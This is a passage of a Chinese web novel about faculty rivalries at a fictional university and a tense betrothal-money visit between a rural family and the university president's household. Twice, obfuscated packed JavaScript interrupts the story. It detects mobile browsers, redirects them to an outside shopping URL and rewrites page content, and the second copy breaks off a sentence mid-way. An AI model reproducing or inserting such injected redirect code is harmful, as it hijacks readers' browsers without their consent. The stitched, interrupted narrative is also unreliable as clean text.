顾明远心知肚明他讽刺的是钟德君。这两人之间针锋相对的紧张关系,在年轻人中早不是什么秘密。顾明远无意卷入他们的恩怨,只巧妙地将话题拉回书本:“说真的,同峰,当年你选经济管理这专业真是挺有眼光的。你看现在,计划经济正往市场经济转轨,你们经济学科的春天可不就来了?你现在天天跟这些世界顶尖大师的思想打交道,不仅是站在了理论的高地上,更是踩在了时代的前沿脉搏上。往后搞科研、出成果,那还不是手到擒来的事儿?对了,你们院今年的课题申报都定了吧?以你的实力和积累,肯定能独占鳌头。” 他的随口一问没想到勾起了卞同峰的无名之火:“快别提了!提起来就恶心!”卞同峰像是被点燃的炮仗,声音陡然拔高,唾沫星子几乎要溅出来:“老梅现在快要退休,啥事不管。这事竟然交给姓孟的负责。嗛,他懂学术吗?唉,现在我们院是官阀当道罗。一切以跟领导关系近为准绳!学术?学术在他们眼里算个屁!” 卞同峰的激烈反应让顾明远有些诧异:“怎么了?你的选题没上?” “上个球毛!”卞同峰粗鲁地啐了一口,满脸愤懑:“让那个姓钟的顶啦。呸!瞧他那副嘴脸,不过是给阎王爷当了一回提鞋的差役,倒摆出十殿阎罗的架势来了。什么东西!” 顾明远觉得卞同峰话说得太过尖刻恶毒,正欲出言阻拦,却猛地发现钟德君不知何时竟如鬼魅一般从一棵浓密樟树的阴影里冒了出来。此刻正阴沉着脸一动不动地站在卞同峰身后半步之遥的地方。 因为天色已然全黑,背对着的卞同峰压根没发现身后致命的“听众”。顾明远看得心惊肉跳,急得伸手就去拽了一下卞同峰的胳膊。没想到这一拦,反而让卞同峰更加生气,胳膊一甩,声音更响:“老顾你拦我干什么?你倒还挺维护那个小人的!我得提醒你,这家伙在我们院可没在背后少编排你,他说你……。” 话未说完,一只脚已经狠狠地踹在了卞同峰的后腰上。 顾明远眼疾手快,慌忙一把扶住踉跄前扑的卞同峰,他手上那几本厚重的书却“哗啦”一声散落一地。 这结结实实的一脚让卞同峰恼羞成怒,刚痛呼着骂出一个“狗”字,猛转身见是面色铁青、眼露凶光的钟德君,身形顿时矮了半截,气势全无。卞同峰虽一向与钟德君不对付,但更多的还停留在打嘴仗的阶段。真正遇上钟德君耍起横来,卞同峰往往都会选择主动退避。 钟德君却不依不饶,一步逼上前,手指几乎要戳到卞同峰的鼻梁上,咬牙切齿地低吼:“娘的!你给老子说清楚!谁是小人?啊?你再当着老子的面说一遍试试?!” 卞同峰心知自己刚才那番刻薄话已被对方听了个干干净净,自知理亏,下意识地扶了扶被撞歪的眼镜,嘴角勉强勾起一抹极不自然的不屑笑意,哼了一句“好男不与女斗”,便想弯腰捡书,趁机溜走。 这句近乎羞辱的遁词又一次精准地点燃了钟德君的怒火。他猛地弯腰,就势捡起地上最厚的一本硬壳书,抡起来就要朝着卞同峰的脑袋砸过去。顾明远迅速夺下书本,压低声音喝道:“钟德君,你冷静点好不好,现在还是下班的时候,你不怕被人看见闹笑话吗?” 看见几个路人投来好奇的目光,钟德君恨恨地将书掼在地上,看着卞同峰手忙脚乱地捡起剩余书本、几乎一路小跑消失在黑暗深处的背影,狠狠地朝那个方向啐了一口,骂道:“狗日的。背后像个长舌妇一样嚼舌头根子。再让老子听见,看我不收拾死你!” 图书馆门前空地上,只剩下顾明远和钟德君两人。这对曾经的室友兼兄弟,因为吴雅娟,已经小半年没有说过一句话了。此刻意外相遇,气氛有些微妙的尴尬。 看着顾明远略带躲闪和无奈的眼神,钟德君先没绷住,“噗嗤”一声“哈哈”地笑了起来,只是那笑声里多少有点自我解嘲的意味。顾明远心里一直盘算着要找个机会化解与钟德君之间的误会,觉得眼下这倒或许是个契机。他笑了笑,上前轻轻拍了拍钟德君的肩头,半是调侃半是认真地说:“怎么样?这下该出的气也出了,能一笑泯恩仇了呗?” 钟德君却抖了抖肩膀,故作嫌弃地甩掉了顾明远的手,没好气地说:“拉倒吧!看不出来啊,顾明远,你这个‘伪君子’和卞同峰那个‘神经病’倒还挺有共同语言的嘛?聊得挺热乎?” 顾明远不跟他计较,只是笑道:“你呀,人其实不坏,就是这张嘴太欠。什么‘伪君子’‘神经病’,外号全让你一个人给起完了?” “得了吧你,少给我戴高帽,我可不是什么好人。”钟德君撇撇嘴,旧事重提:“你们刚才不是还一口一个‘小人’地叫我吗?我可听得真真儿的!” “你这纯属断章取义,故意找茬儿啊。”顾明远无奈摇头,“我可半个字都没那么说。” 钟德君似乎余怒未消,又望了一眼卞同峰消失的方向,恨恨地说道:“就他妈的会装!读了几本破书,真把自己当颗葱了,还以为是不食人间烟火的学者了?我呸!” 顾明远懒得再就这个话题接茬,便故作轻松地提议:“行了,哪有那么大的火气?怎么样?要不去‘阿芳酒家’喝两杯?我请客。正好也看看你这几个月跟着领导吃香喝辣,酒量到底长进了没?” 事实上,通过吴雅洁之口,钟德君早已了解到了顾明远和吴雅娟之间的更多真相,知道顾明远确实没有“横刀夺爱”。更重要的是,自己现在和吴雅洁都到了快要谈婚论嫁的阶段,何必还要治这一口气呢。既然顾明远现在主动递了梯子,他也就乐得就坡下来,没必要再端着那点早已变味的敌意摆谱了。 钟德君斜睨了顾明远一眼,故意摆出一副满不在乎的架势,说道:“切!女人如衣服。兄弟如手足。我钟德君是那种会为了件‘衣服’就跟自家‘手足’治气的人吗?去就去!谁怕谁啊!”走了两步,他又停下来,非要给自己挣足最后一点面子,指着顾明远强调:“不过说好了啊!这顿酒,得算你小子给你钟哥我‘负荆请罪’的!听见没?” 顾明远了解钟德君这死要面子的德性,懒得跟他计较这点口舌之利,便笑着点头应承。 几杯黄酒下肚,藏不住话的钟德君果然打开了话匣子。他夹了一筷子菜,嚼了几下,带着几分自嘲的口气说道:“现在回过头想想,哥们儿我他妈确实纯属是自作多情了。错判了形势,人家校长千金压根底没正眼瞧我嘛。”他摇了摇头,自己又干了一杯,“闹了半天,是小姑奶奶她自己眼光高,没瞧上我呗。” 顾明远心里莫名地轻快了一下,仿佛一块小小的石头落了地。他也拿起酒杯,陪着钟德君一饮而尽。 钟德君忽然将酒杯重重地撴在桌上,发出“咚”的一声响,引得旁边桌的食客都侧目而视。他瞪着顾明远,半真半假地抱怨道:“不过说起来真是气人也!我他妈左看右看,横看竖看,寻思你小子也没比我强到天上去啊?怎么运气就他妈的这么好?天上掉馅饼儿偏偏就砸你头上了?”给自己满上后叹了口气:“我也想通了。命里无时莫强求,哥们认栽。来,来,喝酒喝酒!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904216|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了让钟德君心里更平衡、更释怀些,顾明远叹了口气,用一种低调甚至略带忧虑的语气说道:“古人说过,福兮祸之所伏,祸兮福之所倚。将来的事,谁又说得清楚呢?未必就如表面看的那么风光。” 顾明远这番低调甚至略带消极的反应果然让钟德君心里舒坦了许多。他拿起酒瓶给顾明远满上,带着点幸灾乐祸的口吻说道:“算你小子头脑还清醒!不瞒你说,吴雅洁可没少跟我念叨,说她姐那小姐那娇生惯养的脾气。嗨,说不定够你喝一壶呢。” “不谈这些,不谈这些了。”顾明远摆摆手,岔开话题,“现在每天忙得天昏地暗,实在没那么多精力花在这些风花雪月的事上。” “天昏地暗?忙什么呢?不就是些讲课写文章的嘛?” “要只是讲课搞科研,那倒好办多了。自己乐意干的事,再累也心甘情愿。”顾明远摇了摇头,脸上露出真实的疲惫:“唉,现在院里莫名其妙将一些杂七杂八的事情都交给我来做,这交什么事啊。” 钟德君语气明显酸溜溜了许多:“老顾,你这不是得了便宜还卖乖的吗?谁不知道,这事秦冰纶在定点栽培你的?所以说呀,你狗日的真的就是命好,现在更是傍上了吴校长这棵大树,我看过不了多久,你都要飞天咯。”眼神里那点羡慕和嫉妒的光想掩都掩不住的。 顾明远想起秦冰纶“言多必失”的警告,不敢继续接话,正要拿起杯子喝酒,钟德君忽然重重地拍着顾明远的胳膊,眼睛发亮,带着一种神秘的兴奋说道:“哎,老顾!你想过没有?现在财经学院是孟超的天下,历史学院是秦冰纶的地盘,等过几年,说不定…嘿嘿,会不会是咱们哥俩的天下啦!到那时候,”他越说越激动,仿佛看到了某种辉煌的未来:“你我兄弟齐心,相互扶持,那还不要在楚江大学开创一番大场面嘛!” 钟德君这近乎无厘头的奇思妙想,险些让顾明远将嘴里那口酒笑喷出来,咳嗽了几声后笑道:“你小子这脑洞,我怕是隔壁大妈看你一眼都脑补出一场八十集的感情大戏。胡说八道什么呢?还开创大场面。我可没想那么远。跟你交个底吧,我只想好好经营自己教师那一亩三分地儿。” 钟德君却撇了撇嘴:“得了吧你!就凭你现在这势头,又即将成了吴校长的乘龙快婿,将来只怕是身不由己喽!到时候一堆人推着你往上走,由得你说退就退?” 顾明远心里其实对未来的可能性并非毫无波澜,嘴上却依然习惯性地保持着自己的主意:“怎么可能?我又不是卖身为奴了,难不成还做不了自己的主了?” “幼稚”,钟德君嗤之以鼻,仰头又干了一杯,用手背抹了抹嘴:“要我说,进了这职场名利场,跟卖身为奴也没什么两样!由不得你!你呀,就等着瞧吧!”他摆摆手,一副看透世情的模样:“算了算了,不跟你说这些了,没劲。来,喝酒喝酒。今晚咱哥们不醉不归!” 几轮推杯换盏下来,酒意有些上头。因为和钟德君“化干戈为玉帛”,顾明远心里的防线渐渐放松下来。再酒精的刺激下,内心深处那点因即将成为校长女婿而悄然滋生的、连自己都未必全然察觉的轻狂也开始隐隐作起祟来。 他夹了一粒花生米,丢进嘴里后似不经意地说道:“你们财经学院最近不太平吧?梅院长快要退休,几位副院长都盯着吧?”他及时刹住,没直接说出消息源来自吴家来显出自己如今也有“近水楼台”的优势了。 这是钟德君喜欢的话题。他的眼睛变得亮了起来:“可不是嘛!斗得跟乌眼鸡似的!怎么,老顾也听到什么风声了?”。 顾明远享受着这种被人垂询的目光,故作高深地微微一笑,摆摆手:“我能有什么风声,就是偶尔听人提了一嘴。不过啊,”他话锋一转带着指点的意思:“你肯定希望孟超继位的吧?这几年你可没少花心思。现在要摘桃子罗。” 钟德君没料到顾明远成为吴若甫家的准女婿后政治见识也水涨船高,脸上露出些羡慕之色:“老顾,你可以啊。现在都是政治分析师啦。看来近朱者赤啊。”他凑近了些,压低声音问道:“老顾,那你有没有内部消息,老孟的胜算有几何?” 这个问题顾明远可没有得过吴若甫的暗示,含糊着说了句“得道多助失道寡助”的废话,端起酒杯来转移视线。 窗外,秋风舞动着落叶。小酒馆内,却是一片冰释前嫌后的兄弟情深的景象。只是在热闹之下,两人的心态开始发生了微妙的变化。 16. 礼金风波 听说侄女吴雅洁和钟德君正在筹办婚礼的消息后,一向稳如泰山的吴若甫莫名地有些着了急。他心里清楚,自己的着急并非完全是怕侄女抢在了自家的前面,更多的还是基于自己不到一年的退休时间。按照老伴万素琴的计算,退休前后举办婚礼的礼金相差至少要以万计。 吴若甫第一次催促老伴让余丹凤让顾明远家必须春节过后准时上门提亲,这样也好有时间来筹办婚礼。万素琴自然言听计从。得令后的余丹凤软硬兼施、攻势如潮,最后,在“负责任”三个字的震慑下,顾明远也开始担心和吴雅娟大半年无节制的鱼水之欢会捅出漏子,答应余丹凤尽快去做父亲的工作。 其实着急的何止只有吴若甫。眼见得堂妹婚事日渐临近,吴雅娟心里的焦灼如藤蔓般缠绕着她。让她有些生气和失望的是,春节已过,顾家那边还没有传来提亲的消息,这让吴雅娟甚至开始怀疑顾明远对待结婚的态度。联想到吴雅洁由此偶然提起顾明远还有个什么“民国女学生”的事情,吴雅娟骨子里的不自信开始涌动起来。跟顾明远相处大半年来,吴雅娟开始摸出了他执拗而又好强的性子,不敢再简单地以“校长千金”的威势来“压迫”顾明远,只好改走“以柔克刚”的路线。虽然学不来别的女孩梨花带雨的作态,但投其所好来增加顾明远的感觉似乎不难。针对顾明远是个超级“乔丹迷”的特点,她费尽心思收集了一套乔丹历次夺冠的经典照片邮册送给他。 在得知余丹凤正在给顾明远施加压力时,吴雅娟决定自力更生地“助攻”一下。 早春的东湖梅园,千株梅树迎寒绽放。红梅似火,白梅如雪。微风过处,花瓣簌簌而落,宛若翩跹蝶影。吴雅娟顶着冷意,特意穿了新买的麻质连衣裙。当她再梅树下逡巡时,引来一旁摄影摊边的追捧,目的无非是想让人从口袋里掏出更多的钞票来。 吴雅娟被摄影师夸得心里美滋滋的,那眼睛示意顾明远:"雅洁他们的婚纱照拍得可漂亮了。" 听说一张五元的价格,顾明远悄悄用手估摸着裤兜里的钞票,故意开着玩笑说道:“这不是还没到时候嘛。” 他的话引起摄影师的窃笑,吴雅娟有些事情,将手中的挎包扔给他:“里面有钱。” 这下顾明远的面子有些搁不住,赶紧从裤兜里掏出一张五十元的大票子扔给摄影师:“拍,好好地拍。” 吴雅娟化嗔为喜,开始像蝴蝶般在梅树间穿梭起来。 正在这时,前方不远处的一棵花树下的身影吸引住了顾明远的目光:一个穿着浅色纱裙的女子正专注地坐在草地。“好像啊”,顾明远的脑海里蓦然冒出了“民国女学生”的影子来,忍不住往前移走了几步。 "看什么呢?"吴雅娟强压着心头的不快。 "没什么。"顾明远迅速收回目光,讪讪地笑了起来。 照完相的吴雅娟积压多时的不满终于爆发了出来:"顾明远,你什么意思呀?你是不是根本就没打算娶我?" "你别无理取闹。"顾明远别开脸去。 吴雅娟不依不饶:“你刚才那么专心那个女孩,是把她当成了''民国女学生''吧?" 突然被揭了短的顾明远脸色窘迫,一时不知说什么才好。 正在正在这时,那位席地看书的女子战略起来往他们的方向走来,等她款款过去后,吴雅娟忍不住嗤笑起来:“闹半天你就这口味呀。”顾明远忍不住抬头看了一眼,刚才那位背影年轻的女子原来是个中年女人。这似乎给了他充足的理由,急忙解释起来:“我不过是偶让看来一眼而已,你就是喜欢小题大做。”为了显示自己的坦荡,他特意起身去冷饮房给吴雅娟买了一根冰激凌。 态度好转的吴雅娟娇嗔地说道:“别指望一根冰激凌想打发我。我可给你说好了,让你家快点过来提亲,不然将来有你好看的。”说到这里,吴雅娟莫名地眼睛泛红起来。 顾明远心里有些发软。暗自打定主意要对父亲那边催得紧一些。 其实,进城提亲这事在年前就已经说定。顾有余打心眼希望儿子早点结婚,这样自己就可以升格成为祖父。之所以迟迟没有定下进城的日子,主要还是“聘金”的事情。当二女儿告诉他武汉现在时兴“三金一动”(金镯子、金项链、金戒指和汽车),这让本就抠门的顾有余有些愁肠百结。在钱的问题上,顾有余是远近出了名的“顾老抠”。别看他是民办教师有一份固定收入,每次打起牌来总会欠着十块八块的不给,邻居家有个婚丧嫁娶需要随礼几乎很少超过二十的。这些天来,顾有余频繁取出藏在箱底、边角被鼠啃的存折,煞有介事地拨弄算盘反复核对,存款总额不过一万七千三百五十元,这与“三金一动”需要的支出相差简直十万八千里。 当顾有余在电话里将自己的担心说出来后,顾明远忍不住大笑起来:“哪有二姐说得这么邪乎呀。‘三金一动’,那不得十几万?要不了那么多,您就准备个几万就行了。” 儿子说得轻飘,老子听得心疼:几万也不是个小数目啊。无奈之下,顾有余急忙将两个女儿召集回家商议对策。 顾有余心里早有打算:聘金最多只有两万。经过一番核计,大女儿春分家境贫寒,出个几百块就好;二女儿小满嫁得不错,至少该拿出两三千。 父女三人在八仙桌旁坐定。顾有余底气不足,“吧嗒吧嗒”不停抽着旱烟来稳定情绪。当他吞吞吐吐说出想法时,两个女儿的反应出乎意料:顾春分略作思考便答应出三千,顾小满更是直截了当问“六千够不够”。 女儿们的爽快反而让顾有余有几分羞惭。他停顿片刻后故作坚定说道:“行吧,剩下的我来想办法。” 钱的问题解决后,顾有余明确回复,将进城的时间定在二月底。离进城还有十来天的时间。这些天,顾有余开始四处走动,为的是让更多人知道增加儿子要和大学校长女儿结婚的好消息,这样自己在乡邻面前腰板也能挺得更直些。虽然只是早春二月,风里还带着寒意,但在顾有余眼中,全世界都明晃晃、暖烘烘的。河沿柳枝抽出嫩芽,像儿子作文本上的波浪线;田里油菜挺直腰杆,叶子哗啦啦响,像是报喜的铜锣。连垄沟残雪都可爱起来,亮晶晶地映着日头,分明是撒了一地的碎银子。 出发前一晚,顾春分细心地将父亲长期压在箱子里的老师中山装熨烫平整,顾小满则忙着准备着家乡的土特产——自家腌制的腊肉、新磨的芝麻油、精挑细选的红皮花生……。 第二天,父女三人起了个大早,赶往镇上搭乘每天唯一一班发往武汉的班车。临行前,隔壁的毛旺一家特地拿了一百个土鸡蛋为这一家送行打气,这让顾有余的脸上乐开了花,代表儿子邀请毛旺家将来进城去喝喜酒。 崎岖公路蜿蜒曲折。经过数小时颠簸,下午三点,父女三人抵达武昌关山的长途汽车站。 晕车厉害的顾春分等不及车停稳就跳下去,蹲在路边呕吐起来。 这一幕正被随同顾明远前来迎接的吴雅娟看见。看见父女三人竟然还穿着笨重的冬装,吴雅娟心中不禁泛起一丝凉意。 相互靠近时,顾春分身上的酸腐气味让吴雅娟不经意掩了掩鼻子。这一幕被眼尖的顾小满看得真切。 顾明远郑重地将吴雅娟介绍给家人。顾有余扶了扶黑框眼镜,目光扫过这位扎马尾、化淡妆的未来儿媳,机械重复着“好好”。顾小满并不怯场,故意认真打量了吴雅娟几回,只淡淡说了个“你好”二字。顾春分有些胆怯,眼睛里羡慕中带些自卑偷偷瞄向未来的弟妹。 顾明远已经在学校附近为父亲姐姐订好了小旅馆。趁父亲公用洗手间方便,他赶紧跟了过去,将装有一万元的信封塞进父亲口袋:“听二姐说家里准备了两万,我再加一万,这样好看些。” 顾有余心中暗喜,连声应承“晓得咧”。小便畅快地喷溅进小便池中。 为了避免父女三人的行头招至母亲的嫌弃,吴雅娟主动提出去附近的服装市场为他们购置新衣,也想借此给未来公公家留个好印象。 顾明远明白她是嫌弃乡下人的土气,心里其实也不敢,便跟着一起走了出来。 刚一出门,吴雅娟如潜水者浮出水面,大口呼吸新鲜空气,拍着胸口惊悸地说道:“真是吓死我了。” 顾明远半带嘲讽:“有这么严重?见到乡下贫下中农就这么大反应?” 吴雅娟轻掐他一下:“都怪你。你没注意到吗?从车站到旅馆,你两个姐姐一直在议论我。” “你观察得挺仔细。” 吴雅娟既兴奋又紧张:“我都听不懂。她们说我什么?” 顾明远故意拖长声音:“说你……说你……”,急得吴雅娟用挎包砸他,顾明远哈哈笑道:“说你像画里的演员一样漂亮。” “真的吗?”吴雅娟灰白的脸庞顿时红润如梅,挑选衣服显得格外大方。 当三人洗完澡换上新衣时,吴雅娟着实吃了一惊:真是人靠衣装啊。尤其是顾小满,不仅脸庞端正,身材也很出众。吴雅娟掏出随身带的护肤品硬要姐妹俩人使用。一番打扮后,姐妹俩简直有点认不出镜中的自己。换上簇新中山装的顾有余看见镜中的自己俨然一副干部派头,心中涌起难言的喜悦。 夜幕降临。一行人走进灯火辉煌的楚江大学校园。对习惯了乡下黑灯瞎火夜晚的顾有余父女来说,眼前绚烂的景象让他们眼花缭乱、目不暇接。顾有余满眼的惶惑和茫然,顾春分紧紧挽住同样紧张的妹妹顾小满的手,姐妹二人都能感受到彼此胳膊的颤抖。 吴雅娟看在眼里,自觉今后应对顾家人的底气更足了。 顾有余拉儿子袖子不解地问:“学校这么多等都开得大亮,多浪费电啊。” 顾明远正要说话,看见肖志阳、江小北夫妇正走到了近前。江小北故意高高地挽着丈夫的胳膊,用轻蔑的目光打量着顾有余他们。顾明远正准备介绍,吴雅娟却用挑衅目光回逼着她,故意朗声问:“你们俩现在过得挺好的哈?” 江小北知道吴雅娟话中有话,本来就对校长千金惧怕三分,赶忙讪笑着打了声招呼,拉着肖志阳快步离开。 万素琴不想给乡下亲家过高礼遇,特意交代方姨按正常待客准备菜肴。这下惹火了吴雅娟,直接要求方姨至少按年夜饭规格准备。万素琴骂了句“还没嫁到顾家呢”,也不再说什么。 刚进家门,阔大气派的客厅加上吴若甫夫妇矜持自律的笑容,让顾家父女更加紧张局促起来。顾明远不想父亲他们窘迫,不待吴若甫发话,径直扶父亲坐了下来。 客厅里静得能听见墙角的座式挂钟秒针走动的声音,“滴答、滴答”,像敲在每个人的心坎上。经验老到的吴若甫轻松自若地坐在红木沙发上,倒是顾有余腰杆弯曲着坐在沙发沿上,双手不自觉地按在膝头,几次张了嘴,却似乎不知道说什么才好,只发出些极轻微的吸气声。万素琴脸上挂着勉强的笑容,有一搭没一搭地问话。顾小满胆子大些,有时替父亲小心地作着回答。 这可急坏了一旁的顾明远,他不停地挨近厨房用手势催着方姨抓紧上菜。 饭菜上桌后,吴若甫看万素琴一眼笑问:“要不要来点酒助兴?” 万素琴假装和方姨说话装作没听见。吴雅娟径直走向酒柜拿出一瓶五粮液晃了晃:“叔叔一家第一次上门,今天就喝这个。”说完又从冰箱拿出几瓶可乐放在顾春分姐妹面前。 万素琴心中不悦。吴雅娟讨好地讲酒瓶递给顾明远让他负责斟酒。顾明远对万素琴不温不冷的态度有些不满,故意将她面前酒杯倒满。 见惯大场面的吴若甫如图闲庭信步,轻松地拿捏着校长和亲家的分寸,频频劝酒。只参加过乡村酒席的顾有余对校长家酒桌礼仪一窍不通。吴若甫只要有手势,他就紧张地一饮而尽。 顾明远不停用眼神提醒二姐。顾小明白弟弟意思,一个劲用脚在桌子底下提示父亲。好在有些微醺的顾有余还没乱分寸。六杯酒下肚后,起身从帆布包中掏出红纸包裹的红包,小心翼翼放吴若甫面前,满脸通红地说道:“吴校长、万老师,咱们农村条件有限,两万块钱不多,请别嫌弃。” 话音刚落,客厅陷入一片寂静。 虽然预估过乡下人出手不会阔绰,但这个数字还是让吴若甫有些失望。万素琴心理预期至少六万,巨大落差带来的生气更是直接写在脸上。这个数字与旅馆说好的三万的差距让顾明远拿酒瓶的手不由自主抖动。吴雅娟得到了顾明远三万的暗示,现在凭空少了一万,本来就有些憋屈的她心里更加不满。顾小满在心里责怪父亲在这个节骨眼上竟然如此抠门……。 万素琴阻止了顾明远斟酒,将红包原封不动退回顾有余:“哎哟,我们家不缺这点钱,你们还是留着自己用吧。”声音像从冰窖滤出的冰碴子,撞在顾明远耳膜上硌得生疼。 吴若甫依然满脸的平静,客套话里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送走弟弟后,回到房间的顾小满故意带着哭腔威胁顾有余,说是吴家可能真要退亲了。吓得顾有余汗毛都竖了起来,在房间里急得如热锅蚂蚁来回踱步,嘴里喃喃自语:“这下糟了,那两万块钱不是白给了?” 顾小满不依不饶:“换个位子想想,人家巴心巴肝养了二十几年的宝贝女儿,就值两万块钱?听说现在城里没有十万八万聘礼都不好意思拿出手。” 顾有余急得跺起脚来:“你说得轻巧。我现在全身上下拢共就一万块钱,难不成把我这副老骨头卖了?那也得有人要啊。” 顾小满“吃吃”笑起来,说出了早就准备好的了小学同学汪清早的名字。汪清早说起来还是顾有余的学生,因为对读书毫无兴趣,小学毕业就跟着亲戚去武汉打工,如今自己做起了建筑包工头,听说赚了不少钱。虽然对汪清早没有半点好印象,但害怕儿子的婚事黄了,顾有余只好听任二女儿的摆布。 不到一个小时,汪清早搭乘的士亲自将两万元现金送到旅馆,还不由分说将父女三人拉到附近红房子吃了一顿高档夜宵。 顾家人吵成一锅粥的时候,吴家也是一锅滚水。吴雅娟抢先发起了牢骚:“你们怎么能这样对待人家呢?” 万素琴正在气头上:“你就这么急着要嫁给这么吝啬的人家吗?是不是傻了呀。” “行,那我就一辈子待在家里守着你们吧?”吴雅娟扬起剑眉赌起气来。 吴若甫重重撴了一下茶杯:“这叫什么话?你妈这不是为你好嘛。我们不唯金钱是论,但他们也的确过分了嘛。对了,你昨天不是告诉我三万的吗?怎么搞的嘛?” 被父亲戳中痛处的吴雅娟气势一下子委顿下去,叹气说:“农村财力有限,说不定哪里出了差错吧。” 得到实情的万素琴气得将手中的线团掼在地上:“好你个死丫头,还没出嫁就开始胳膊肘往外拐了。不嫁了,不嫁了。” 吴若甫担心老伴的态度真的坏了大事,赶紧自己转圜:“算了算了,也不要说些气话了。我们也并没有指望他们家能给个十万八万的。”说罢,看了女儿一眼:“别人不仁,我们不能不义。这样,雅娟你去买些水果,去旅馆看望他们,顺便探探动静。要不行明天在附近找个酒楼,把婚事定下来。” 万素琴怒火再次被点燃:“什么?还要我们倒贴钱求他们娶雅娟?” 吴若甫轻拍她手安慰:“得啦,别说得那么难听嘛。如果他们结婚了,不就是一家人了嘛。”一边说着,一边给一旁垂手而立的远房表妹方姨使眼色。方姨趁机给揉着万素琴的肩头帮着做起工作来:“嫂子,我表哥说得没错呀。其实,我看小顾这人挺不错的。结婚后,他们俩过日子,有的是赚钱机会,何必为几个聘金闹掰了呢。” 方姨的话似乎触动了万素琴,嘴上却不服输:“这哪里是钱的问题?是顾家不懂规矩。”说完瞪女儿一眼:“还愣着干什么?要你爸去买水果呀。” 吴雅娟喜不自禁,从钱罐抽出两百块钱,正要下楼,门铃响了起来。 门开后,来人是顾小满、顾明远姐弟二人。已经打个照面的顾小满镇定了许多。一进门就满脸堆笑给吴若甫夫妇道起歉来:“伯父伯母确实不好意思。说起来也怪我。我们出发前爸爸怕不安全,将红包分成两部分放在他自己和我姐的身上。来之前走得太急,我姐忘记拿了另一个红包”,说到这里,从布包里抽出厚厚的红包来递到万素琴的手上。 这下轮到了万素琴有些不好意思,瞄向女儿吴雅娟。吴雅娟的嘴角难以自抑地向上扬起,飞快地、带着一种胜利般的炫耀神色瞥了顾明远一眼,眼波流转间尽是得意:“我就说嘛。老妈你就收下呗。” 只有吴若甫心里清楚:这一定是顾家人临时找武汉这边的亲戚凑的。看破不说破。便让顾小满回去转达明天做东宴请的事情说了。收了钱高兴的万素琴代吴若甫说出了敲定婚期的事。 离开吴家后,顾明远将二姐送回旅馆,一个人闷闷不乐地走在有些冷清的街道上。想起父亲在吴家时的窘迫模样和未来丈母娘冒火的眼神,不由得心里像打翻了五味瓶一般,乡下人的特有敏感溢上心头:最圣洁的婚姻,也会被金钱的楔子撬开裂缝啊。想到这里,顾明远的心像被针扎了一样细细密密地疼。对父亲因为“抠门”产生的怨恨和委屈,忽然间消散了大半,转而化作一种酸楚的体谅,暗自在心头立下誓言:这多出的两万,一定要加倍还给父亲。 17. 婚礼风云 楚江大学校长吴若甫即将嫁女的消息,如同一枚投入平静湖面的石子,在校园内外激起层层涟漪。 婚礼尚未开场似乎就已注定不会平静和平凡。它不仅是一场顾明远、吴雅娟两人感情的见证,更会成为各方力量较劲和表演的疯狂舞台。 筒子楼那间狭小而凌乱的宿舍里,顾明远仰面躺在吱呀作响的单人床上,目光空洞地望着天花板上斑驳的水渍,脑子里像过电影般回放着刚才在吴家商量婚礼细节的每一个镜头:吴若甫看似温和,实则每句话都带着居高临下的决定;万素琴言语间依然掩饰不住对他农村出身的不屑;余丹凤更是个见风使舵专拣空子帮腔作势。吴雅娟虽然有意解围,但骨子里“老顾家出钱老吴家操持”的意思让人不适。 “我这是要签了卖身契吗?”顾明远喃喃地问着自己,一股无名火在胸中燃烧。他尤其懊悔自己没能鼓起勇气说出自己的想法,一味地迎合妥协甚至沉默,说到底是因为对出身的自卑而成了另一种形式的屈服。 这些纷乱的思绪让他不由自主又想起了那个萦绕心头的幻影——那个身着浅色纱裙的“民国女学生”。如果能有幸结缘,会不会是另外一种样子呢? 辗转难眠之际,顾明远忽然想借酒消愁。对面钟德君的床铺依然空着,他趿拉着拖鞋上楼去寻林书锦和蒋嘉琦他们,却连个人影也没见着,只好悻悻回到房间继续躺在床上发呆。 已经成为人夫的钟德君依然不改本色,形影不离地陪着孟超出入各种娱乐场所。孟超有望成为财经学院的“一把手”。俗话说,“一把手”就是“一霸手”。如果能傍稳孟超,自己在财经学院乃至楚江大学的前途肯定会是一路顺风。因此,付出些代价既是值得也是必要的。 这天晚上,在享受完泰式按摩后,孟超浑身通泰,心情大好,让钟德君陪他去附近的月湖公园散步。 月湖公园闹中取静,宫灯与月光交相辉映,为园林增添了几分神秘色彩。行至湖心亭,孟超轻抚廊柱感叹:“古代帝王之尊,楼台亭阁巍峨,锦衣玉食奢华,佳丽三千环绕,多么极致的人生境界啊。” 钟德君嬉笑着插话:“其实也未必。古代皇帝万人之上,但长期锁在深宫大院里,跟坐牢也没啥分别?要我说,还不如现在您孟院长,自由自在,无拘无束。再说,古代皇帝有卡拉OK唱吗?有冰镇啤酒喝吗?有空调冷气吗?都没有吧?”说到这里,他观察到孟超没有阻止的意思,说话更放肆了些:“古代皇帝还享受不到外国妞足疗保健的吧?” 孟超哈哈大笑:“你小子歪理邪说可不少。关键时还是露出了没文化的尾巴吧?” “怎么呢?” “唐太宗时期,波斯国王就给他送过两个国外美女的嘛。” 钟德君脑海里冒出一句“就怕流氓有文化”的玩笑话,嘴上说的却是:“腹有诗书气自华。要不说孟院您是文韬武略、智勇兼备呢。” 这时,路边传来小贩叫卖糖炒板栗的声音。钟德君知道孟超好这一口,急忙跑过去买了一大包回来。 两人坐在石凳上就着板栗继续闲聊。孟超突然问道:“听说顾明远和吴雅娟的关系快要开花结果了?” 毕竟自己曾经有过失败的经历,钟德君神情有些委顿:“开花就开花呗,跟我有啥关系?” 